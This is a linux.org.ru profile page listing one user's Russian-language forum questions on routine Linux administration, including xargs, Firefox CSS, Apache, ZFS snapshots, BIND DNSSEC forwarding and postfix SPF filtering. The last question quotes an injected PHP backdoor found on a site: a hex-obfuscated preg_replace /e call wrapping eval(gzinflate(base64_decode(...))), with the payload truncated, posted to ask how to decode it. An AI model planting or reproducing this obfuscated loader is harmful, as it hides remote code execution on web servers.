LINUX.ORG.RU

Сообщения Viper

 

xargs c опцией -I

Есть ли способ в xargs использовать опцию -I, но при этом что бы в команду передавалось несколько аргументов? Что бы, к примеру, вот такое:

cat файл_со_100500_каталогами | xargs -I{} find {} -type f -name '*нужные_файлы*' | что-нибудь-делаем-с-полученным-списком

не приводило к 100500 запускам find, по разу на каждый каталог из файла.

 

Viper
()

Firefox & userChrome.css

Помогите поправить, всю жизнь работало, с версии Firefox 113 работать перестало на неактивных вкладках:

tab .tab-close-button
{
  /*display: none !important;*/
  display: -moz-box !important;
  visibility: collapse !important;
}

tab:not([pinned]):hover .tab-close-button
{
  /*display: -moz-box !important;*/
  -moz-transition-delay: 1s !important;
  visibility: visible !important;
}
При наведении мышки на открытую НЕактивную вкладку перестал появляться «X» для закрытия вкладки.

 ,

Viper
()

Работа с параметрами из файла

Есть строка (фактически это файл с кучей данных в строку):

var1=value1; var2=value2; var3=value3; va…

Можно ли как-то очень просто распарсить эту строку сразу в переменные bash, к которым уже можно будет из bash-а обращаться: или так $var1, $var2 или как к словарю $vars[‘var1’], $vars[‘var2’]. При этом если добавится новая переменная в строку, не нужно будет изменять код для её добавления, да и сам код такого парсинга должен быть минимальным.

 ,

Viper
()

apache лезет туда, куда не просят.

Запрос вида: http://domain.tld/var/test.php/qwerty приводит к тому, что в том числе проверяется существование файла по пути «<DocumentRoot>/qwerty». Вот что показывает strace:

22:15:24.155464 read(10, "GET /var/test.php/qwerty HTTP/1.0\r\nHost: ...
22:15:24.156439 stat("/1/2/3/var/test.php/qwerty", 0x7fffdc582740) = -1 ENOTDIR (Это не каталог) <0.000013>
22:15:24.171818 lstat("/1", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 <0.000019>
22:15:24.171891 lstat("/1/2", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0 <0.000012>
22:15:24.171940 lstat("/1/2/3", {st_mode=S_IFDIR|S_ISGID|0770, st_size=4096, ...}) = 0 <0.000011>
22:15:24.171989 open("/1/2/3/.htaccess", O_RDONLY|O_CLOEXEC) = 13 <0.000013>
22:15:24.172323 lstat("/1/2/3/var", {st_mode=S_IFDIR|S_ISGID|0770, st_size=4096, ...}) = 0 <0.000011>
22:15:24.172372 open("/1/2/3/var/.htaccess", O_RDONLY|O_CLOEXEC) = -1 ENOENT (Нет такого файла или каталога) <0.000012>
22:15:24.172423 lstat("/1/2/3/var/test.php", {st_mode=S_IFREG|0660, st_size=19, ...}) = 0 <0.000011>
22:15:24.172497 stat("/1/2/3/var/test.php", {st_mode=S_IFREG|0660, st_size=19, ...}) = 0 <0.000012>
22:15:24.172583 stat("/1/2/3/qwerty", 0x7fffdc5824e0) = -1 ENOENT (Нет такого файла или каталога) <0.000011>
22:15:24.172629 lstat("/1", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 <0.000010>
22:15:24.172671 lstat("/1/2", {st_mode=S_IFDIR|0700, st_size=4096, ...}) = 0 <0.000010>
22:15:24.172711 lstat("/1/2/3", {st_mode=S_IFDIR|S_ISGID|0770, st_size=4096, ...}) = 0 <0.000010>
22:15:24.172753 lstat("/1/2/3/qwerty", 0x7fffdc5824e0) = -1 ENOENT (Нет такого файла или каталога) <0.000014>
22:15:24.172816 stat("/1/2/3/qwerty", 0x7fffdc5823a0) = -1 ENOENT (Нет такого файла или каталога) <0.000011>
22:15:24.172860 lstat("/1/2/3/qwerty", 0x7fffdc5823a0) = -1 ENOENT (Нет такого файла или каталога) <0.000010>
22:15:24.172901 stat("/1/2/3/qwerty", 0x7fffdc5823a0) = -1 ENOENT (Нет такого файла или каталога) <0.000010>

Что apache заставляет думать, что возможно есть «<DocumentRoot>/что-то», если в запросе после имени php-скрипта через слеш указано это что-то?

 , ,

Viper
()

Работа с памятью в go

premetheus по процессу отдаёт метрики:

go_memstats_heap_idle_bytes

go_memstats_heap_released_bytes

при этом эти значения около 13GB для сервера с 16GB RAM. $ps эту память включает в RSS процесса, так же как $free этих свободных 13GB не видит, нет её ни в кэше, ни в буферах. В meminfo эта память числится в Inactive(anon). Собственно вопрос, когда эта память станет реально доступной для ОС?

 ,

Viper
()

cassandra и аутентификация нод в кластере

Между нодами в кластере cassandra можно построить TLS. Но хотелось бы просто запретить входить в кластер cassandra левым хостам (iptables не подходит, рутовых прав на хостах нет). В cassandra,yaml есть такое:

# Internode authentication backend, implementing IInternodeAuthenticator;
# used to allow/disallow connections from peer nodes.
# internode_authenticator: org.apache.cassandra.auth.AllowAllInternodeAuthenticator
Как этим пользоваться? Как должна выглядеть конфигурация для запрета всего, кроме... Идеально бы было, если бы задавалось что-то похожее на shared secret, но и разрешительный список IP-адресов то же подойдёт.

 

Viper
()

telegram через socks в SSH.

Коллеги, а у кого-нибудь работает телеграм через ssh -D? Через Socks5 отдельный демон работает, через SOCKS который в SSH не хочет. Что ему мешает? Например, браузеры через этот же туннель, работают.

 ,

Viper
()

Forwarding TLD.

В named.conf настроено:

zone "lan" IN {
        type forward;
        forwarders { x.x.x.x; };
        forward only;
};
Эта конструкция с dnssec-validation yes не работает. Запрос на A-запись форвардится, ответ bind получает, но потом выполняет запрос на DS-запись, получает информацию что она отсутствует и клиенту отдаёт SERVFAIL.

Понятно, что нужно было бы делать для форвардинга something.lan, что бы DS не запрашивался, но у нас же корневая зона подписана, а как указать что lan не подписана, не понятно.

 ,

Viper
()

ZOL, snapshots, используемое место.

А где искать пропавшие ~ 2Гб?
USEDSNAP = 4,27G, но сумма всех снапшотов не больше 2Гб. Куда остальное ушло:

$ sudo zfs list -t all -ro space tank/opt
NAME                                            AVAIL   USED  USEDSNAP  USEDDS  USEDREFRESERV  USEDCHILD
tank/opt                                        1,08T  7,44G     4,27G   3,17G              0          0
tank/opt@zfs-auto-snap_monthly-2017-04-23-0503      -  1,25G         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-05-23-0457      -  8,27M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-06-22-0445      -  8,27M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-07-22-0459      -  8,24M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-08-22-0446      -  8,24M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-09-21-0458      -  39,4M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-10-22-0854      -  8,63M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-11-20-0501      -  8,65M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2017-12-20-0506      -  40,2M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2018-01-20-0502      -  38,7M         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-02-01-0453       -  8,42M         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-02-08-0500       -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-02-15-0452       -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2018-02-17-0445      -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-02-22-0443       -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-23-0456        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-24-0440        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-25-0504        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-26-0449        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-27-0506        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-02-28-0503        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-01-0502        -      0         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-03-01-0502       -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-02-0459        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-03-0448        -  8,42M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-04-0501        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-05-0441        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-06-0447        -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-07-0449        -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-08-0450        -      0         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-03-08-0450       -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-09-0446        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-10-0458        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-11-0451        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-12-0505        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-13-0459        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-14-0501        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-15-0445        -      0         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-03-15-0446       -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-16-0453        -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-17-0504        -      0         -       -              -          -
tank/opt@zfs-auto-snap_monthly-2018-03-17-0504      -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-18-0437        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-19-0505        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-20-0436        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-21-0440        -  8,43M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-22-0442        -      0         -       -              -          -
tank/opt@zfs-auto-snap_weekly-2018-03-22-0442       -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-23-0458        -  8,42M         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-24-0500        -      0         -       -              -          -
tank/opt@zfs-auto-snap_daily-2018-03-25-0454        -      0         -       -              -          -

 ,

Viper
()

Поиск коммита в git.

Получил список изменений в течение 100 коммитов:
git diff commit n100...n200
нашёл мешающее мне изменение, у него есть некий индекс:
index a12345b..b54321a 100644
Как теперь найти коммит, который внёс это изменение простым способом?
Сейчас я делаю видимо по дебильному, делю коммиты пополам, смотрю через diff, где сохраняется изменение, делю этот участок снова пополам и т.д.

 

Viper
()

iproute2 fwmark, маркировка пакетов в forward таблицы mangle.

Согласно докам на iptables, транзитный пакет проходит таблицу маршрутизации дважды и между таблицами маршрутизации проходит цепочку forward в mangle. Согласно how-to, для того, что бы настроить роутинг в зависимости от маркирвки пакета в iptables, необходимо маркировать пакет в prerouting-е таблицы mangle. Никак не пойму, почему маркировка пакета в forward никак не меняет маршрут пакета, когда он проходит таблицу маршрутизации второй раз? Может какой баг у меня?

 ,

Viper
()

Использование доменной учётной записи в Linux.

Есть ли способ сохранить параметры учётной записи (домен-логин-пароль) на Linux машине, что бы они использовались на сайтах где работает SSO для компьютеров включенных в АД при использовании браузера. Компьютер под Linux не нужно включать в домен, а каждый раз набирать доменный логин и пароль в браузере надоело. Сохранять логин и пароль при посещении внутренних ресурсов то же не выход, так как ресурсов много, а пароль меняется достаточно часто и после смены нужно для всех ресурсов его обновлять.

 ,

Viper
()

Буква м в шрифте arial из msttcorefonts сливается.

Linux Mint 17.2 При определённом размере текста, который стандартный при браузинге, буква «м» не корректно сглаживается. Как этот момент поправить не увеличивая шрифт и не меняя его на какой-нибудь другой? Пример по ссылке.

 

Viper
()

Блокирование почты в postfix по результату проверки spf в opendmarc.

Добрый день! Письма проверяются в opendmarc, через его подключение к postfix c помощью опции smtpd_milters. В письма исправно добавляются заголовки:

Received-SPF: permerror (rogurery.net: Missing required IPv4 address in 'ip4:') receiver=mail.domain.tld; identity=mailfrom; envelope-from="rectangularly@Rogurery.net"; helo=rogurery.net; client-ip=104.36.84.189
Authentication-Results: mail.domain.tld; dmarc=none (p=none dis=none) header.from=Rogurery.net
Authentication-Results: mail.domain.tld; spf=fail smtp.mailfrom=rectangularly@Rogurery.net
В настройках opendmarc.conf указано RejectFailures true, но данная настройка распространяется только на Authentication-Results для записи dmarc. Не хочется устанавливать дополнительные сущности для проверки spf, тем более если это умеет делать opendmarc, но как научить opendmarc блокировать почту и в случае, когда результат проверки для spf равен fail?

 ,

Viper
()

Spamassassin, уменьшить score для ответов на отправленное письмо.

Есть ли такая функциональность у spamassassin, хотя бы учитывая только связку кому направлено и от кого.

 ,

Viper
()

Замена одной комманды другой.

Бывает необходимо запустить такую команду (аргументы у /path/scrypt могут быть разные):

# /usr/bin/su - user -s /bin/sh -c "/path/scrypt -c -d 'string1 string2'" 
Хотел сделать возможность запускать туже команду но так:
/path/new_scrypt.sh -c -d 'string1 string2'
Ну никак мне не удаётся написать new_scrypt.sh так, что бы он все полученные параметры ($@), включая апострофы, передавал в том же виде в /path/scrypt при запуске его через su. Как правильно написать bash-скрипт?

 

Viper
()

Firefox 52, LinuxMint 17.2

Обновился firefox до версии 52.0+linuxmint1+rosa. Даже с чистым профилем, сразу после запуска, крашится:

$ time firefox
ExceptionHandler::GenerateDump cloned child 26270
ExceptionHandler::SendContinueSignalToChild sent continue signal to child
ExceptionHandler::WaitForContinueSignal waiting for continue signal...
Ошибка сегментирования

real    0m0.124s
user    0m0.032s
sys     0m0.036s
В логах:
firefox[26265]: segfault at 0 ip 00007f4cff6392d2 sp 00007ffd68cb7748 error 4 in libxul.so[7f4cfec8f000+3e6e000]
Куда копать?

 ,

Viper
()

systemd & dbus

Сделал так, что бы не запускался dbus на CentOS. Всё что надо работает, есть недочёт, на который раньше не обращал внимания, а после необходимости добавления запуска процесса раз в минуту, стал напрягать. При запуске процесса через крон, вот такая запись в логах появляется:

crond[11963]: pam_systemd(crond:session): Failed to connect to system bus: Нет такого файла или каталога
Как бы её замаскировать. Других записей ошибок о том, что dbus не работает, в логах нет.

 ,

Viper
()

letsencrypt и DNS-01 проверка.

А при валидации домена через DNS для получения сертификата тикет, который прописывается в TXT домена, то же каждый раз меняется?

 ,

Viper
()

php, декодирование внедрённого кода.

Был найден внедрённый код такого вида:

<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lb3LrmRZj6Q3F6B3+FGogTRpnL3XzR0FvQknfgW6qlENdKOF7LdXON0+4zrZQkEaBDIj4oT73utCGkmj8Z//+h+X4/Hf/vGP//R//eOf4q/18+fXGX/N8efXir/Gu37/+bv5+PPr+POrff/svPz59efvzz8/d77+/ ...... //jnv/7H5Xj8t3/8p3/881//+te/rf+a//fv//M//9u/5v/lZKj/81/+Hw=='\x29\x29\x29\x3B","");
?>
Как его декодировать в читаемый php-код?

 

Viper
()

RSS подписка на новые темы